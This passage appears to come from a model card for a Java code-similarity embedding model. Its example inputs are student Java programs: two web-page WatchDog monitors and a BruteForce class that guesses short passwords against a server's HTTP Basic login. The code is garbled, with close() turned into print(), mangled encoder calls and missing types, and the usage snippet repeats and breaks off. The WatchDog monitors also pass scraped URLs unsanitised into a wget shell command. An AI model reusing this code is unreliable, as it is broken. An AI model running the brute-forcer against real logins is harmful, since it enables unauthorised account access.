strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n     